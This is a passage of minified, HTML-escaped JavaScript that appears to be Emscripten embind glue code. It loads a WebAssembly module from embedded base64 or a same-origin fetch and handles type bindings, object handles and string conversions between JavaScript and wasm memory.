HQAEHsMQsOzgAAANEAAAAIHgAAAAQAQYQyCwEBAEGUMgsF/////woAQdgyCwHT&quot;,!W(G)){var J=G;G=r.locateFile?r.locateFile(J,o):o+J}function q(){var me=G;try{if(me==G&amp;&amp;d)return new Uint8Array(d);if(W(me))try{var pe=$a(me.slice(37)),Qe=new Uint8Array(pe.length);for(me=0;me&lt;pe.length;++me)Qe[me]=pe.charCodeAt(me);var $e=Qe}catch{throw Error(&quot;Converting base64 string to bytes failed.&quot;)}else $e=void 0;var nt=$e;if(nt)return nt;throw&quot;both async and sync fetching of the wasm failed&quot;}catch(vt){X(vt)}}function ee(){return d||typeof fetch!=&quot;function&quot;?Promise.resolve().then(function(){return q()}):fetch(G,{credentials:&quot;same-origin&quot;}).then(function(me){if(!me.ok)throw&quot;failed to load wasm binary file at &#039;&quot;+G+&quot;&#039;&quot;;return me.arrayBuffer()}).catch(function(){return q()})}function ne(me){for(;0&lt;me.length;)me.shift()(r)}function V(me){if(me===void 0)return&quot;_unknown&quot;;me=me.replace(/[^a-zA-Z0-9_]/g,&quot;$&quot;);var pe=me.charCodeAt(0);return 48&lt;=pe&amp;&amp;57&gt;=pe?&quot;_&quot;+me:me}function ue(me,pe){return me=V(me),function(){return pe.apply(this,arguments)}}var de=[{},{value:void 0},{value:null},{value:!0},{value:!1}],xe=[];function _e(me){var pe=Error,Qe=ue(me,function($e){this.name=me,this.message=$e,$e=Error($e).stack,$e!==void 0&amp;&amp;(this.stack=this.toString()+`
`+$e.replace(/^Error(:[^\n]*)?\n/,&quot;&quot;))});return Qe.prototype=Object.create(pe.prototype),Qe.prototype.constructor=Qe,Qe.prototype.toString=function(){return this.message===void 0?this.name:this.name+&quot;: &quot;+this.message},Qe}var Ce=void 0;function we(me){throw new Ce(me)}var ve=me=&gt;(me||we(&quot;Cannot use deleted val. handle = &quot;+me),de[me].value),Ne=me=&gt;{switch(me){case void 0:return 1;case null:return 2;case!0:return 3;case!1:return 4;default:var pe=xe.length?xe.pop():de.length;return de[pe]={ga:1,value:me},pe}},Ie=void 0,be=void 0;function Re(me){for(var pe=&quot;&quot;;v[me];)pe+=be[v[me++]];return pe}var Pe=[];function Ke(){for(;Pe.length;){var me=Pe.pop();me.M.$=!1,me.delete()}}var tt=void 0,pt={};function dt(me,pe){for(pe===void 0&amp;&amp;we(&quot;ptr should not be undefined&quot;);me.R;)pe=me.ba(pe),me=me.R;return pe}var Oe={};function Pt(me){me=to(me);var pe=Re(me);return oi(me),pe}function Kt(me,pe){var Qe=Oe[me];return Qe===void 0&amp;&amp;we(pe+&quot; has unknown type &quot;+Pt(me)),Qe}function gt(){}var Jt=!1;function Bt(me){--me.count.value,me.count.value===0&amp;&amp;(me.T?me.U.W(me.T):me.P.N.W(me.O))}function tr(me,pe,Qe){return pe===Qe?me:Qe.R===void 0?null:(me=tr(me,pe,Qe.R),me===null?null:Qe.na(me))}var sr={};function xt(me,pe){return pe=dt(me,pe),pt[pe]}var wt=void 0;function Lt(me){throw new wt(me)}function ir(me,pe){return pe.P&amp;&amp;pe.O||Lt(&quot;makeClassHandle requires ptr and ptrType&quot;),!!pe.U!=!!pe.T&amp;&amp;Lt(&quot;Both smartPtrType and smartPtr must be specified&quot;),pe.count={value:1},He(Object.create(me,{M:{value:pe}}))}function He(me){return typeof FinalizationRegistry&gt;&quot;u&quot;?(He=pe=&gt;pe,me):(Jt=new FinalizationRegistry(pe=&gt;{Bt(pe.M)}),He=pe=&gt;{var Qe=pe.M;return Qe.T&amp;&amp;Jt.register(pe,{M:Qe},pe),pe},gt=pe=&gt;{Jt.unregister(pe)},He(me))}var ce={};function Le(me){for(;me.length;){var pe=me.pop();me.pop()(pe)}}function rt(me){return this.fromWireType(E[me&gt;&gt;2])}var ie={},ae={};function Ee(me,pe,Qe){function $e(Ot){Ot=Qe(Ot),Ot.length!==me.length&amp;&amp;Lt(&quot;Mismatched type converter count&quot;);for(var ur=0;ur&lt;me.length;++ur)We(me[ur],Ot[ur])}me.forEach(function(Ot){ae[Ot]=pe});var nt=Array(pe.length),vt=[],Mt=0;pe.forEach((Ot,ur)=&gt;{Oe.hasOwnProperty(Ot)?nt[ur]=Oe[Ot]:(vt.push(Ot),ie.hasOwnProperty(Ot)||(ie[Ot]=[]),ie[Ot].push(()=&gt;{nt[ur]=Oe[Ot],++Mt,Mt===vt.length&amp;&amp;$e(nt)}))}),vt.length===0&amp;&amp;$e(nt)}function re(me){switch(me){case 1:return 0;case 2:return 1;case 4:return 2;case 8:return 3;default:throw new TypeError(&quot;Unknown type size: &quot;+me)}}function We(me,pe,Qe={}){if(!(&quot;argPackAdvance&quot;in pe))throw new TypeError(&quot;registerType registeredInstance requires argPackAdvance&quot;);var $e=pe.name;if(me||we(&#039;type &quot;&#039;+$e+&#039;&quot; must have a positive integer typeid pointer&#039;),Oe.hasOwnProperty(me)){if(Qe.ua)return;we(&quot;Cannot register type &#039;&quot;+$e+&quot;&#039; twice&quot;)}Oe[me]=pe,delete ae[me],ie.hasOwnProperty(me)&amp;&amp;(pe=ie[me],delete ie[me],pe.forEach(nt=&gt;nt()))}function Tt(me){we(me.M.P.N.name+&quot; instance already deleted&quot;)}function H(){}function ze(me,pe,Qe){if(me[pe].S===void 0){var $e=me[pe];me[pe]=function(){return me[pe].S.hasOwnProperty(arguments.length)||we(&quot;Function &#039;&quot;+Qe+&quot;&#039; called with an invalid number of arguments (&quot;+arguments.length+&quot;) - expects one of (&quot;+me[pe].S+&quot;)!&quot;),me[pe].S[arguments.length].apply(this,arguments)},me[pe].S=[],me[pe].S[$e.Z]=$e}}function Ze(me,pe){r.hasOwnProperty(me)?(we(&quot;Cannot register public name &#039;&quot;+me+&quot;&#039; twice&quot;),ze(r,me,me),r.hasOwnProperty(void 0)&amp;&amp;we(&quot;Cannot register multiple overloads of a function with the same number of arguments (undefined)!&quot;),r[me].S[void 0]=pe):r[me]=pe}function he(me,pe,Qe,$e,nt,vt,Mt,Ot){this.name=me,this.constructor=pe,this.X=Qe,this.W=$e,this.R=nt,this.pa=vt,this.ba=Mt,this.na=Ot,this.ja=[]}function De(me,pe,Qe){for(;pe!==Qe;)pe.ba||we(&quot;Expected null or instance of &quot;+Qe.name+&quot;, got an instance of &quot;+pe.name),me=pe.ba(me),pe=pe.R;return me}function qe(me,pe){return pe===null?(this.ea&amp;&amp;we(&quot;null is not a valid &quot;+this.name),0):(pe.M||we(&#039;Cannot pass &quot;&#039;+Ji(pe)+&#039;&quot; as a &#039;+this.name),pe.M.O||we(&quot;Cannot pass deleted object as a pointer of type &quot;+this.name),De(pe.M.O,pe.M.P.N,this.N))}function dr(me,pe){if(pe===null){if(this.ea&amp;&amp;we(&quot;null is not a valid &quot;+this.name),this.da){var Qe=this.fa();return me!==null&amp;&amp;me.push(this.W,Qe),Qe}return 0}if(pe.M||we(&#039;Cannot pass &quot;&#039;+Ji(pe)+&#039;&quot; as a &#039;+this.name),pe.M.O||we(&quot;Cannot pass deleted object as a pointer of type &quot;+this.name),!this.ca&amp;&amp;pe.M.P.ca&amp;&amp;we(&quot;Cannot convert argument of type &quot;+(pe.M.U?pe.M.U.name:pe.M.P.name)+&quot; to parameter type &quot;+this.name),Qe=De(pe.M.O,pe.M.P.N,this.N),this.da)switch(pe.M.T===void 0&amp;&amp;we(&quot;Passing raw pointer to smart pointer is illegal&quot;),this.Ba){case 0:pe.M.U===this?Qe=pe.M.T:we(&quot;Cannot convert argument of type &quot;+(pe.M.U?pe.M.U.name:pe.M.P.name)+&quot; to parameter type &quot;+this.name);break;case 1:Qe=pe.M.T;break;case 2:if(pe.M.U===this)Qe=pe.M.T;else{var $e=pe.clone();Qe=this.xa(Qe,Ne(function(){$e.delete()})),me!==null&amp;&amp;me.push(this.W,Qe)}break;default:we(&quot;Unsupporting sharing policy&quot;)}return Qe}function Xt(me,pe){return pe===null?(this.ea&amp;&amp;we(&quot;null is not a valid &quot;+this.name),0):(pe.M||we(&#039;Cannot pass &quot;&#039;+Ji(pe)+&#039;&quot; as a &#039;+this.name),pe.M.O||we(&quot;Cannot pass deleted object as a pointer of type &quot;+this.name),pe.M.P.ca&amp;&amp;we(&quot;Cannot convert argument of type &quot;+pe.M.P.name+&quot; to parameter type &quot;+this.name),De(pe.M.O,pe.M.P.N,this.N))}function Te(me,pe,Qe,$e){this.name=me,this.N=pe,this.ea=Qe,this.ca=$e,this.da=!1,this.W=this.xa=this.fa=this.ka=this.Ba=this.wa=void 0,pe.R!==void 0?this.toWireType=dr:(this.toWireType=$e?qe:Xt,this.V=null)}function zt(me,pe){r.hasOwnProperty(me)||Lt(&quot;Replacing nonexistant public symbol&quot;),r[me]=pe,r[me].Z=void 0}function qr(me,pe){var Qe=[];return function(){if(Qe.length=0,Object.assign(Qe,arguments),me.includes(&quot;j&quot;)){var $e=r[&quot;dynCall_&quot;+me];$e=Qe&amp;&amp;Qe.length?$e.apply(null,[pe].concat(Qe)):$e.call(null,pe)}else $e=R.get(pe).apply(null,Qe);return $e}}function kr(me,pe){me=Re(me);var Qe=me.includes(&quot;j&quot;)?qr(me,pe):R.get(pe);return typeof Qe!=&quot;function&quot;&amp;&amp;we(&quot;unknown function pointer with signature &quot;+me+&quot;: &quot;+pe),Qe}var fr=void 0;function Ft(me,pe){function Qe(vt){nt[vt]||Oe[vt]||(ae[vt]?ae[vt].forEach(Qe):($e.push(vt),nt[vt]=!0))}var $e=[],nt={};throw pe.forEach(Qe),new fr(me+&quot;: &quot;+$e.map(Pt).join([&quot;, &quot;]))}function Gr(me,pe,Qe,$e,nt){var vt=pe.length;2&gt;vt&amp;&amp;we(&quot;argTypes array size mismatch! Must at least get return value and &#039;this&#039; types!&quot;);var Mt=pe[1]!==null&amp;&amp;Qe!==null,Ot=!1;for(Qe=1;Qe&lt;pe.length;++Qe)if(pe[Qe]!==null&amp;&amp;pe[Qe].V===void 0){Ot=!0;break}var ur=pe[0].name!==&quot;void&quot;,Gt=vt-2,wr=Array(Gt),Rr=[],fn=[];return function(){if(arguments.length!==Gt&amp;&amp;we(&quot;function &quot;+me+&quot; called with &quot;+arguments.length+&quot; arguments, expected &quot;+Gt+&quot; args!&quot;),fn.length=0,Rr.length=Mt?2:1,Rr[0]=nt,Mt){var Ei=pe[1].toWireType(fn,this);Rr[1]=Ei}for(var mn=0;mn&lt;Gt;++mn)wr[mn]=pe[mn+2].toWireType(fn,arguments[mn]),Rr.push(wr[mn]);if(mn=$e.apply(null,Rr),Ot)Le(fn);else for(var Kr=Mt?1:2;Kr&lt;pe.length;Kr++){var xa=Kr===1?Ei:wr[Kr-2];pe[Kr].V!==null&amp;&amp;pe[Kr].V(xa)}return Ei=ur?pe[0].fromWireType(mn):void 0,Ei}}function Zr(me,pe){for(var Qe=[],$e=0;$e&lt;me;$e++)Qe.push(S[pe+4*$e&gt;&gt;2]);return Qe}function xi(me){4&lt;me&amp;&amp;--de[me].ga===0&amp;&amp;(de[me]=void 0,xe.push(me))}function Ji(me){if(me===null)return&quot;null&quot;;var pe=typeof me;return pe===&quot;object&quot;||pe===&quot;array&quot;||pe===&quot;function&quot;?me.toString():&quot;&quot;+me}function Pn(me,pe){switch(pe){case 2:return function(Qe){return this.fromWireType(_[Qe&gt;&gt;2])};case 3:return function(Qe){return this.fromWireType(C[Qe&gt;&gt;3])};default:throw new TypeError(&quot;Unknown float type: &quot;+me)}}function Mi(me,pe,Qe){switch(pe){case 0:return Qe?function($e){return y[$e]}:function($e){return v[$e]};case 1:return Qe?function($e){return w[$e&gt;&gt;1]}:function($e){return j[$e&gt;&gt;1]};case 2:return Qe?function($e){return E[$e&gt;&gt;2]}:function($e){return S[$e&gt;&gt;2]};default:throw new TypeError(&quot;Unknown integer type: &quot;+me)}}function Sn(me,pe){for(var Qe=&quot;&quot;,$e=0;!($e&gt;=pe/2);++$e){var nt=w[me+2*$e&gt;&gt;1];if(nt==0)break;Qe+=String.fromCharCode(nt)}return Qe}function si(me,pe,Qe){if(Qe===void 0&amp;&amp;(Qe=2147483647),2&gt;Qe)return 0;Qe-=2;var $e=pe;Qe=Qe&lt;2*me.length?Qe/2:me.length;for(var nt=0;nt&lt;Qe;++nt)w[pe&gt;&gt;1]=me.charCodeAt(nt),pe+=2;return w[pe&gt;&gt;1]=0,pe-$e}function ia(me){return 2*me.length}function aa(me,pe){for(var Qe=0,$e=&quot;&quot;;!(Qe&gt;=pe/4);){var nt=E[me+4*Qe&gt;&gt;2];if(nt==0)break;++Qe,65536&lt;=nt?(nt-=65536,$e+=String.fromCharCode(55296|nt&gt;&gt;10,56320|nt&amp;1023)):$e+=String.fromCharCode(nt)}return $e}function go(me,pe,Qe){if(Qe===void 0&amp;&amp;(Qe=2147483647),4&gt;Qe)return 0;var $e=pe;Qe=$e+Qe-4;for(var nt=0;nt&lt;me.length;++nt){var vt=me.charCodeAt(nt);if(55296&lt;=vt&amp;&amp;57343&gt;=vt){var Mt=me.charCodeAt(++nt);vt=65536+((vt&amp;1023)&lt;&lt;10)|Mt&amp;1023}if(E[pe&gt;&gt;2]=vt,pe+=4,pe+4&gt;Qe)break}return E[pe&gt;&gt;2]=0,pe-$e}function Ui(me){for(var pe=0,Qe=0;Qe&lt;me.length;++Qe){var $e=me.charCodeAt(Qe);55296&lt;=$e&amp;&amp;57343&gt;=$e&amp;&amp;++Qe,pe+=4}return pe}var ni={};function Ma(me){var pe=ni[me];return pe===void 0?Re(me):pe}var Xa=[];function es(me){var pe=Xa.length;return Xa.push(me),pe}function Ua(me,pe){for(var Qe=Array(me),$e=0;$e&lt;me;++$e)Qe[$e]=Kt(S[pe+4*$e&gt;&gt;2],&quot;parameter &quot;+$e);return Qe}var pr=[],Hs=[null,[],[]];Ce=r.BindingError=_e(&quot;BindingError&quot;),r.count_emval_handles=function(){for(var me=0,pe=5;pe&lt;de.length;++pe)de[pe]!==void 0&amp;&amp;++me;return me},r.get_first_emval=function(){for(var me=5;me&lt;de.length;++me)if(de[me]!==void 0)return de[me];return null},Ie=r.PureVirtualError=_e(&quot;PureVirtualError&quot;);for(var wi=Array(256),za=0;256&gt;za;++za)wi[za]=String.fromCharCode(za);be=wi,r.getInheritedInstanceCount=function(){return Object.keys(pt).length},r.getLiveInheritedInstances=function(){var me=[],pe;for(pe in pt)pt.hasOwnProperty(pe)&amp;&amp;me.push(pt[pe]);return me},r.flushPendingDeletes=Ke,r.setDelayFunction=function(me){tt=me,Pe.length&amp;&amp;tt&amp;&amp;tt(Ke)},wt=r.InternalError=_e(&quot;InternalError&quot;),H.prototype.isAliasOf=function(me){if(!(this instanceof H&amp;&amp;me instanceof H))return!1;var pe=this.M.P.N,Qe=this.M.O,$e=me.M.P.N;for(me=me.M.O;pe.R;)Qe=pe.ba(Qe),pe=pe.R;for(;$e.R;)me=$e.ba(me),$e=$e.R;return pe===$e&amp;&amp;Qe===me},H.prototype.clone=function(){if(this.M.O||Tt(this),this.M.aa)return this.M.count.value+=1,this;var me=He,pe=Object,Qe=pe.create,$e=Object.getPrototypeOf(this),nt=this.M;return me=me(Qe.call(pe,$e,{M:{value:{count:nt.count,$:nt.$,aa:nt.aa,O:nt.O,P:nt.P,T:nt.T,U:nt.U}}})),me.M.count.value+=1,me.M.$=!1,me},H.prototype.delete=function(){this.M.O||Tt(this),this.M.$&amp;&amp;!this.M.aa&amp;&amp;we(&quot;Object already scheduled for deletion&quot;),gt(this),Bt(this.M),this.M.aa||(this.M.T=void 0,this.M.O=void 0)},H.prototype.isDeleted=function(){return!this.M.O},H.prototype.deleteLater=function(){return this.M.O||Tt(this),this.M.$&amp;&amp;!this.M.aa&amp;&amp;we(&quot;Object already scheduled for deletion&quot;),Pe.push(this),Pe.length===1&amp;&amp;tt&amp;&amp;tt(Ke),this.M.$=!0,this},Te.prototype.qa=function(me){return this.ka&amp;&amp;(me=this.ka(me)),me},Te.prototype.ha=function(me){this.W&amp;&amp;this.W(me)},Te.prototype.argPackAdvance=8,Te.prototype.readValueFromPointer=rt,Te.prototype.deleteObject=function(me){me!==null&amp;&amp;me.delete()},Te.prototype.fromWireType=function(me){function pe(){return this.da?ir(this.N.X,{P:this.wa,O:Qe,U:this,T:me}):ir(this.N.X,{P:this,O:me})}var Qe=this.qa(me);if(!Qe)return this.ha(me),null;var $e=xt(this.N,Qe);if($e!==void 0)return $e.M.count.value===0?($e.M.O=Qe,$e.M.T=me,$e.clone()):($e=$e.clone(),this.ha(me),$e);if($e=this.N.pa(Qe),$e=sr[$e],!$e)return pe.call(this);$e=this.ca?$e.la:$e.pointerType;var nt=tr(Qe,this.N,$e.N);return nt===null?pe.call(this):this.da?ir($e.N.X,{P:$e,O:nt,U:this,T:me}):ir($e.N.X,{P:$e,O:nt})},fr=r.UnboundTypeError=_e(&quot;UnboundTypeError&quot;);var $a=typeof atob==&quot;function&quot;?atob:function(me){var pe=&quot;&quot;,Qe=0;me=me.replace(/[^A-Za-z0-9\+\/=]/g,&quot;&quot;);do{var $e=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;.indexOf(me.charAt(Qe++)),nt=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;.indexOf(me.charAt(Qe++)),vt=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;.indexOf(me.charAt(Qe++)),Mt=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;.indexOf(me.charAt(Qe++));$e=$e&lt;&lt;2|nt&gt;&gt;4,nt=(nt&amp;15)&lt;&lt;4|vt&gt;&gt;2;var Ot=(vt&amp;3)&lt;&lt;6|Mt;pe+=String.fromCharCode($e),vt!==64&amp;&amp;(pe+=String.fromCharCode(nt)),Mt!==64&amp;&amp;(pe+=String.fromCharCode(Ot))}while(Qe&lt;me.length);return pe},qs={l:function(me,pe,Qe,$e){X(&quot;Assertion failed: &quot;+(me?p(v,me):&quot;&quot;)+&quot;, at: &quot;+[pe?pe?p(v,pe):&quot;&quot;:&quot;unknown filename&quot;,Qe,$e?$e?p(v,$e):&quot;&quot;:&quot;unknown function&quot;])},q:function(me,pe,Qe){me=Re(me),pe=Kt(pe,&quot;wrapper&quot;),Qe=ve(Qe);var $e=[].slice,nt=pe.N,vt=nt.X,Mt=nt.R.X,Ot=nt.R.constructor;me=ue(me,function(){nt.R.ja.forEach((function(Gt){if(this[Gt]===Mt[Gt])throw new Ie(&quot;Pure virtual function &quot;+Gt+&quot; must be implemented in JavaScript&quot;)}).bind(this)),Object.defineProperty(this,&quot;__parent&quot;,{value:vt}),this.__construct.apply(this,$e.call(arguments))}),vt.__construct=function(){this===vt&amp;&amp;we(&quot;Pass correct &#039;this&#039; to __construct&quot;);var Gt=Ot.implement.apply(void 0,[this].concat($e.call(arguments)));gt(Gt);var wr=Gt.M;Gt.notifyOnDestruction(),wr.aa=!0,Object.defineProperties(this,{M:{value:wr}}),He(this),Gt=wr.O,Gt=dt(nt,Gt),pt.hasOwnProperty(Gt)?we(&quot;Tried to register registered instance: &quot;+Gt):pt[Gt]=this},vt.__destruct=function(){this===vt&amp;&amp;we(&quot;Pass correct &#039;this&#039; to __destruct&quot;),gt(this);var Gt=this.M.O;Gt=dt(nt,Gt),pt.hasOwnProperty(Gt)?delete pt[Gt]:we(&quot;Tried to unregister unregistered instance: &quot;+Gt)},me.prototype=Object.create(vt);for(var ur in Qe)me.prototype[ur]=Qe[ur];return Ne(me)},j:function(me){var pe=ce[me];delete ce[me];var Qe=pe.fa,$e=pe.W,nt=pe.ia,vt=nt.map(Mt=&gt;Mt.ta).concat(nt.map(Mt=&gt;Mt.za));Ee([me],vt,Mt=&gt;{var Ot={};return nt.forEach((ur,Gt)=&gt;{var wr=Mt[Gt],Rr=ur.ra,fn=ur.sa,Ei=Mt[Gt+nt.length],mn=ur.ya,Kr=ur.Aa;Ot[ur.oa]={read:xa=&gt;wr.fromWireType(Rr(fn,xa)),write:(xa,ro)=&gt;{var ts=[];mn(Kr,xa,Ei.toWireType(ts,ro)),Le(ts)}}}),[{name:pe.name,fromWireType:function(ur){var Gt={},wr;for(wr in Ot)Gt[wr]=Ot[wr].read(ur);return $e(ur),Gt},toWireType:function(ur,Gt){for(var wr in Ot)if(!(wr in Gt))throw new TypeError(&#039;Missing field:  &quot;&#039;+wr+&#039;&quot;&#039;);var Rr=Qe();for(wr in Ot)Ot[wr].write(Rr,Gt[wr]);return ur!==null&amp;&amp;ur.push($e,Rr),Rr},argPackAdvance:8,readValueFromPointer:rt,V:$e}]})},v:function(){},B:function(me,pe,Qe,$e,nt){var vt=re(Qe);pe=Re(pe),We(me,{name:pe,fromWireType:function(Mt){return!!Mt},toWireType:function(Mt,Ot){return Ot?$e:nt},argPackAdvance:8,readValueFromPointer:function(Mt){if(Qe===1)var Ot=y;else if(Qe===2)Ot=w;else if(Qe===4)Ot=E;else throw new TypeError(&quot;Unknown boolean type size: &quot;+pe);return this.fromWireType(Ot[Mt&gt;&gt;vt])},V:null})},f:function(me,pe,Qe,$e,nt,vt,Mt,Ot,ur,Gt,wr,Rr,fn){wr=Re(wr),vt=kr(nt,vt),Ot&amp;&amp;(Ot=kr(Mt,Ot)),Gt&amp;&amp;(Gt=kr(ur,Gt)),fn=kr(Rr,fn);var Ei=V(wr);Ze(Ei,function(){Ft(&quot;Cannot construct &quot;+wr+&quot; due to unbound types&quot;,[$e])}),Ee([me,pe,Qe],$e?[$e]:[],function(mn){if(mn=mn[0],$e)var Kr=mn.N,xa=Kr.X;else xa=H.prototype;mn=ue(Ei,function(){if(Object.getPrototypeOf(this)!==ro)throw new Ce(&quot;Use &#039;new&#039; to construct &quot;+wr);if(ts.Y===void 0)throw new Ce(wr+&quot; has no accessible constructor&quot;);var Uo=ts.Y[arguments.length];if(Uo===void 0)throw new Ce(&quot;Tried to invoke ctor of &quot;+wr+&quot; with invalid number of parameters (&quot;+arguments.length+&quot;) - expected (&quot;+Object.keys(ts.Y).toString()+&quot;) parameters instead!&quot;);return Uo.apply(this,arguments)});var ro=Object.create(xa,{constructor:{value:mn}});mn.prototype=ro;var ts=new he(wr,mn,ro,fn,Kr,vt,Ot,Gt);Kr=new Te(wr,ts,!0,!1),xa=new Te(wr+&quot;*&quot;,ts,!1,!1);var Dl=new Te(wr+&quot; const*&quot;,ts,!1,!0);return sr[me]={pointerType:xa,la:Dl},zt(Ei,mn),[Kr,xa,Dl]})},d:function(me,pe,Qe,$e,nt,vt,Mt){var Ot=Zr(Qe,$e);pe=Re(pe),vt=kr(nt,vt),Ee([],[me],function(ur){function Gt(){Ft(&quot;Cannot call &quot;+wr+&quot; due to unbound types&quot;,Ot)}ur=ur[0];var wr=ur.name+&quot;.&quot;+pe;pe.startsWith(&quot;@@&quot;)&amp;&amp;(pe=Symbol[pe.substring(2)]);var Rr=ur.N.constructor;return Rr[pe]===void 0?(Gt.Z=Qe-1,Rr[pe]=Gt):(ze(Rr,pe,wr),Rr[pe].S[Qe-1]=Gt),Ee([],Ot,function(fn){return fn=Gr(wr,[fn[0],null].concat(fn.slice(1)),null,vt,Mt),Rr[pe].S===void 0?(fn.Z=Qe-1,Rr[pe]=fn):Rr[pe].S[Qe-1]=fn,[]}),[]})},p:function(me,pe,Qe,$e,nt,vt){0&lt;pe||X();var Mt=Zr(pe,Qe);nt=kr($e,nt),Ee([],[me],function(Ot){Ot=Ot[0];var ur=&quot;constructor &quot;+Ot.name;if(Ot.N.Y===void 0&amp;&amp;(Ot.N.Y=[]),Ot.N.Y[pe-1]!==void 0)throw new Ce(&quot;Cannot register multiple constructors with identical number of parameters (&quot;+(pe-1)+&quot;) for class &#039;&quot;+Ot.name+&quot;&#039;! Overload resolution is currently only performed using the parameter count, not actual type info!&quot;);return Ot.N.Y[pe-1]=()=&gt;{Ft(&quot;Cannot construct &quot;+Ot.name+&quot; due to unbound types&quot;,Mt)},Ee([],Mt,function(Gt){return Gt.splice(1,0,null),Ot.N.Y[pe-1]=Gr(ur,Gt,null,nt,vt),[]}),[]})},a:function(me,pe,Qe,$e,nt,vt,Mt,Ot){var ur=Zr(Qe,$e);pe=Re(pe),vt=kr(nt,vt),Ee([],[me],function(Gt){function wr(){Ft(&quot;Cannot call &quot;+Rr+&quot; due to unbound types&quot;,ur)}Gt=Gt[0];var Rr=Gt.name+&quot;.&quot;+pe;pe.startsWith(&quot;@@&quot;)&amp;&amp;(pe=Symbol[pe.substring(2)]),Ot&amp;&amp;Gt.N.ja.push(pe);var fn=Gt.N.X,Ei=fn[pe];return Ei===void 0||Ei.S===void 0&amp;&amp;Ei.className!==Gt.name&amp;&amp;Ei.Z===Qe-2?(wr.Z=Qe-2,wr.className=Gt.name,fn[pe]=wr):(ze(fn,pe,Rr),fn[pe].S[Qe-2]=wr),Ee([],ur,function(mn){return mn=Gr(Rr,mn,Gt,vt,Mt),fn[pe].S===void 0?(mn.Z=Qe-2,fn[pe]=mn):fn[pe].S[Qe-2]=mn,[]}),[]})},A:function(me,pe){pe=Re(pe),We(me,{name:pe,fromWireType:function(Qe){var $e=ve(Qe);return xi(Qe),$e},toWireType:function(Qe,$e){return Ne($e)},argPackAdvance:8,readValueFromPointer:rt,V:null})},n:function(me,pe,Qe){Qe=re(Qe),pe=Re(pe),We(me,{name:pe,fromWireType:function($e){return $e},toWireType:function($e,nt){return nt},argPackAdvance:8,readValueFromPointer:Pn(pe,Qe),V:null})},e:function(me,pe,Qe,$e,nt){pe=Re(pe),nt===-1&amp;&amp;(nt=4294967295),nt=re(Qe);var vt=Ot=&gt;Ot;if($e===0){var Mt=32-8*Qe;vt=Ot=&gt;Ot&lt;&lt;Mt&gt;&gt;&gt;Mt}Qe=pe.includes(&quot;unsigned&quot;)?function(Ot,ur){return ur&gt;&gt;&gt;0}:function(Ot,ur){return ur},We(me,{name:pe,fromWireType:vt,toWireType:Qe,argPackAdvance:8,readValueFromPointer:Mi(pe,nt,$e!==0),V:null})},b:function(me,pe,Qe){function $e(vt){vt&gt;&gt;=2;var Mt=S;return new nt(A,Mt[vt+1],Mt[vt])}var nt=[Int8Array,Uint8Array,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array][pe];Qe=Re(Qe),We(me,{name:Qe,fromWireType:$e,argPackAdvance:8,readValueFromPointer:$e},{ua:!0})},o:function(me,pe){pe=Re(pe);var Qe=pe===&quot;std::string&quot;;We(me,{name:pe,fromWireType:function($e){var nt=S[$e&gt;&gt;2],vt=$e+4;if(Qe)for(var Mt=vt,Ot=0;Ot&lt;=nt;++Ot){var ur=vt+Ot;if(Ot==nt||v[ur]==0){if(Mt=Mt?p(v,Mt,ur-Mt):&quot;&quot;,Gt===void 0)var Gt=Mt;else Gt+=&quot;\0&quot;,Gt+=Mt;Mt=ur+1}}else{for(Gt=Array(nt),Ot=0;Ot&lt;nt;++Ot)Gt[Ot]=String.fromCharCode(v[vt+Ot]);Gt=Gt.join(&quot;&quot;)}return oi($e),Gt},toWireType:function($e,nt){nt instanceof ArrayBuffer&amp;&amp;(nt=new Uint8Array(nt));var vt,Mt=typeof nt==&quot;string&quot;;if(Mt||nt instanceof Uint8Array||nt instanceof Uint8ClampedArray||nt instanceof Int8Array||we(&quot;Cannot pass non-string to std::string&quot;),Qe&amp;&amp;Mt){var Ot=0;for(vt=0;vt&lt;nt.length;++vt){var ur=nt.charCodeAt(vt);127&gt;=ur?Ot++:2047&gt;=ur?Ot+=2:55296&lt;=ur&amp;&amp;57343&gt;=ur?(Ot+=4,++vt):Ot+=3}vt=Ot}else vt=nt.length;if(Ot=Ha(4+vt+1),ur=Ot+4,S[Ot&gt;&gt;2]=vt,Qe&amp;&amp;Mt){if(Mt=ur,ur=vt+1,vt=v,0&lt;ur){ur=Mt+ur-1;for(var Gt=0;Gt&lt;nt.length;++Gt){var wr=nt.charCodeAt(Gt);if(55296&lt;=wr&amp;&amp;57343&gt;=wr){var Rr=nt.charCodeAt(++Gt);wr=65536+((wr&amp;1023)&lt;&lt;10)|Rr&amp;1023}if(127&gt;=wr){if(Mt&gt;=ur)break;vt[Mt++]=wr}else{if(2047&gt;=wr){if(Mt+1&gt;=ur)break;vt[Mt++]=192|wr&gt;&gt;6}else{if(65535&gt;=wr){if(Mt+2&gt;=ur)break;vt[Mt++]=224|wr&gt;&gt;12}else{if(Mt+3&gt;=ur)break;vt[Mt++]=240|wr&gt;&gt;18,vt[Mt++]=128|wr&gt;&gt;12&amp;63}vt[Mt++]=128|wr&gt;&gt;6&amp;63}vt[Mt++]=128|wr&amp;63}}vt[Mt]=0}}else if(Mt)for(Mt=0;Mt&lt;vt;++Mt)Gt=nt.charCodeAt(Mt),255&lt;Gt&amp;&amp;(oi(ur),we(&quot;String has UTF-16 code units that do not fit in 8 bits&quot;)),v[ur+Mt]=Gt;else for(Mt=0;Mt&lt;vt;++Mt)v[ur+Mt]=nt[Mt];return $e!==null&amp;&amp;$e.push(oi,Ot),Ot},argPackAdvance:8,readValueFromPointer:rt,V:function($e){oi($e)}})},i:function(me,pe,Qe){if(Qe=Re(Qe),pe===2)var $e=Sn,nt=si,vt=ia,Mt=()=&gt;j,Ot=1;else pe===4&amp;&amp;($e=aa,nt=go,vt=Ui,Mt=()=&gt;S,Ot=2);We(me,{name:Qe,fromWireType:function(ur){for(var Gt=S[ur&gt;&gt;2],wr=Mt(),Rr,fn=ur+4,Ei=0;Ei&lt;=Gt;++Ei){var mn=ur+4+Ei*pe;(Ei==Gt||wr[mn&gt;&gt;Ot]==0)&amp;&amp;(fn=$e(fn,mn-fn),Rr===void 